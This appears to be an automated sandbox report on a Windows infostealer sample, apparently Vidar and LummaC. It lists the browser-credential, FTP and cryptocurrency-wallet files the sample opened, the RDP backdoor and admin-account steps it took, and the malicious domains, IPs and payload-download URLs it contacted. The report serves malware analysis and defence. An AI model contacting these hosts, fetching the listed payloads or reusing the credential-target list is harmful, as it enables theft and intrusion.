Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History Jump to behavior
Tries to harvest and steal ftp login credentials
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml Jump to behavior
Tries to steal Crypto Currency Wallets
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Exodus\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Exodus\backups\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\MultiDoge\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Binance\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\ Jump to behavior
Yara detected Credential Stealer
Source: Yara match File source: 00000003.00000002.2843926018.000000000150A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.2832771342.00000000005A1000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: RegAsm.exe PID: 7032, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: RegAsm.exe PID: 3532, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected LummaC Stealer
Source: Yara match File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match File source: 11.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000007.00000002.2752616723.00000000038F5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.2870661288.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Yara detected Vidar
Source: Yara match File source: sslproxydump.pcap, type: PCAP
Yara detected Vidar stealer
Source: Yara match File source: 3.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.file.exe.3ab5570.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.file.exe.3ab5570.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000000.00000002.2144529083.0000000003AB5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.2832771342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: file.exe PID: 3492, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: RegAsm.exe PID: 7032, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: RegAsm.exe PID: 3532, type: MEMORYSTR
Allows multiple concurrent remote connection
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe Registry key created or modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Terminal Server\Licensing Core EnableConcurrentSessions
Enables remote desktop connection
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe Registry key created or modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Terminal Server fDenyTSConnections
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C700C40 sqlite3_bind_zeroblob, 3_2_6C700C40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C700D60 sqlite3_bind_parameter_name, 3_2_6C700D60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C628EA0 sqlite3_clear_bindings, 3_2_6C628EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C700B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob, 3_2_6C700B40
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1519784 Sample: file.exe Startdate: 27/09/2024 Architecture: WINDOWS Score: 100 107 wallkedsleeoi.shop 2->107 109 vozmeatillu.shop 2->109 111 12 other IPs or domains 2->111 131 Suricata IDS alerts for network traffic 2->131 133 Found malware configuration 2->133 135 Antivirus detection for URL or domain 2->135 137 21 other signatures 2->137 11 file.exe 2 2->11         started        15 rdpvideominiport.sys 2->15         started        17 rdpdr.sys 2->17         started        19 tsusbhub.sys 2->19         started        signatures3 process4 file5 99 C:\Users\user\AppData\Local\...\file.exe.log, CSV 11->99 dropped 151 Contains functionality to inject code into remote processes 11->151 153 Writes to foreign memory regions 11->153 155 Allocates memory in foreign processes 11->155 157 Injects a PE file into a foreign processes 11->157 21 RegAsm.exe 1 153 11->21         started        26 conhost.exe 11->26         started        signatures6 process7 dnsIp8 119 cowod.hopto.org 45.132.206.251, 57915, 80 LIFELINK-ASRU Russian Federation 21->119 121 5.75.211.162, 443, 57877, 57878 HETZNER-ASDE Germany 21->121 123 2 other IPs or domains 21->123 91 C:\Users\user\...\66f5de72d9ebd_rdp[1].exe, PE32 21->91 dropped 93 C:\Users\...\66f5dbaca34ac_lfdnsafnds[1].exe, PE32 21->93 dropped 95 C:\Users\...\66f5db9e54794_vfkagks[1].exe, PE32 21->95 dropped 97 9 other files (7 malicious) 21->97 dropped 139 Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc) 21->139 141 Found many strings related to Crypto-Wallets (likely being stolen) 21->141 143 Tries to detect sandboxes and other dynamic analysis tools (process name or module or function) 21->143 145 5 other signatures 21->145 28 BKJKEBGDHD.exe 21->28         started        33 GIJEGDAKEH.exe 2 21->33         started        35 BGDGHJEHJJ.exe 2 21->35         started        37 cmd.exe 21->37         started        file9 signatures10 process11 dnsIp12 125 8.46.123.33, 3389, 57922 AS-PUBMATICUS United States 28->125 127 api.ipify.org 172.67.74.152, 57921, 80 CLOUDFLARENETUS United States 28->127 129 239.255.255.250 unknown Reserved 28->129 105 C:\Users\user\AppData\Local\...\RDPWInst.exe, PE32 28->105 dropped 167 Antivirus detection for dropped file 28->167 169 Machine Learning detection for dropped file 28->169 39 cmd.exe 28->39         started        41 cmd.exe 28->41         started        44 cmd.exe 28->44         started        53 4 other processes 28->53 171 Multi AV Scanner detection for dropped file 33->171 173 Writes to foreign memory regions 33->173 175 Allocates memory in foreign processes 33->175 46 RegAsm.exe 187 33->46         started        48 conhost.exe 33->48         started        177 Injects a PE file into a foreign processes 35->177 179 LummaC encrypted strings found 35->179 50 RegAsm.exe 35->50         started        55 3 other processes 35->55 57 2 other processes 37->57 file13 signatures14 process15 dnsIp16 59 RDPWInst.exe 39->59         started        63 conhost.exe 39->63         started        147 Adds a new user with administrator rights 41->147 65 net.exe 41->65         started        67 conhost.exe 41->67         started        75 2 other processes 44->75 149 Tries to harvest and steal browser information (history, passwords, etc) 46->149 113 gutterydhowi.shop 104.21.4.136, 443, 57904 CLOUDFLARENETUS United States 50->113 115 reinforcenh.shop 104.21.77.130, 443, 57917 CLOUDFLARENETUS United States 50->115 117 5 other IPs or domains 50->117 69 net.exe 53->69         started        71 net.exe 53->71         started        73 net.exe 53->73         started        77 5 other processes 53->77 signatures17 process18 file19 101 C:\Program Files\RDP Wrapper\rdpwrap.dll, PE32+ 59->101 dropped 103 C:\Windows\System32\rfxvmt.dll, PE32+ 59->103 dropped 159 Multi AV Scanner detection for dropped file 59->159 161 Machine Learning detection for dropped file 59->161 163 Uses netsh to modify the Windows network and firewall settings 59->163 165 3 other signatures 59->165 79 netsh.exe 59->79         started        81 net1.exe 65->81         started        83 net1.exe 69->83         started        85 net1.exe 71->85         started        87 net1.exe 73->87         started        89 net1.exe 75->89         started        signatures20 process21
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
104.21.77.130
 reinforcenh.shop United States
13335 CLOUDFLARENETUS true
8.46.123.33
 unknown United States
62713 AS-PUBMATICUS true
147.45.44.104
 unknown Russian Federation
2895 FREE-NET-ASFREEnetEU false
45.132.206.251
 cowod.hopto.org Russian Federation
59731 LIFELINK-ASRU true
104.21.4.136
 gutterydhowi.shop United States
13335 CLOUDFLARENETUS true
188.114.97.3
 fragnantbui.shop European Union
13335 CLOUDFLARENETUS true
172.67.162.108
 drawzhotdog.shop United States
13335 CLOUDFLARENETUS true
239.255.255.250
 unknown Reserved
unknown unknown false
172.67.128.144
 ballotnwu.site United States
13335 CLOUDFLARENETUS true
188.114.96.3
 offensivedzvju.shop European Union
13335 CLOUDFLARENETUS true
104.102.49.254
 steamcommunity.com United States
16625 AKAMAI-ASUS true
5.75.211.162
 unknown Germany
24940 HETZNER-ASDE true
172.67.194.216
 wallkedsleeoi.shop United States
13335 CLOUDFLARENETUS true
172.67.74.152
 api.ipify.org United States
13335 CLOUDFLARENETUS false

Contacted Domains

Name IP Active
fragnantbui.shop 188.114.97.3 true
gutterydhowi.shop 104.21.4.136 true
cowod.hopto.org 45.132.206.251 true
offensivedzvju.shop 188.114.96.3 true
drawzhotdog.shop 172.67.162.108 true
ghostreedmnu.shop 188.114.97.3 true
ballotnwu.site 172.67.128.144 true
wallkedsleeoi.shop 172.67.194.216 true
hansgborn.eu 188.114.97.3 true
steamcommunity.com 104.102.49.254 true
stogeneratmns.shop 188.114.97.3 true
reinforcenh.shop 104.21.77.130 true
api.ipify.org 172.67.74.152 true
vozmeatillu.shop 188.114.97.3 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
stogeneratmns.shop true
  • Avira URL Cloud: malware
 unknown
reinforcenh.shop true
  • Avira URL Cloud: malware
 unknown
https://5.75.211.162/mozglue.dll true
  • Avira URL Cloud: malware
 unknown
https://hansgborn.eu/receive.php true
  • Avira URL Cloud: safe
 unknown
https://5.75.211.162/freebl3.dll true
  • Avira URL Cloud: malware
 unknown
https://reinforcenh.shop/api true
  • Avira URL Cloud: malware
 unknown
ghostreedmnu.shop true
  • Avira URL Cloud: malware
 unknown
https://5.75.211.162/vcruntime140.dll true
  • Avira URL Cloud: malware
 unknown
wallkedsleeoi.shop true
  • Avira URL Cloud: malware
 unknown
http://api.ipify.org/ false
  • Avira URL Cloud: safe
 unknown
https://steamcommunity.com/profiles/76561199724331900 true
  • URL Reputation: malware
 unknown
https://vozmeatillu.shop/api true
  • Avira URL Cloud: malware
 unknown
fragnantbui.shop true
  • Avira URL Cloud: malware
 unknown
http://147.45.44.104/prog/66f5dbaca34ac_lfdnsafnds.exe false
  • Avira URL Cloud: malware
 unknown
https://offensivedzvju.shop/api true
  • Avira URL Cloud: malware
 unknown
offensivedzvju.shop true
  • Avira URL Cloud: malware
 unknown
drawzhotdog.shop true
  • Avira URL Cloud: malware
 unknown
vozmeatillu.shop true
  • Avira URL Cloud: malware
 unknown
https://drawzhotdog.shop/api true
  • Avira URL Cloud: malware
 unknown
http://147.45.44.104/prog/66f55533ca7d6_RDPWInst.exe false
  • Avira URL Cloud: malware
 unknown
https://gutterydhowi.shop/api true
  • Avira URL Cloud: malware
 unknown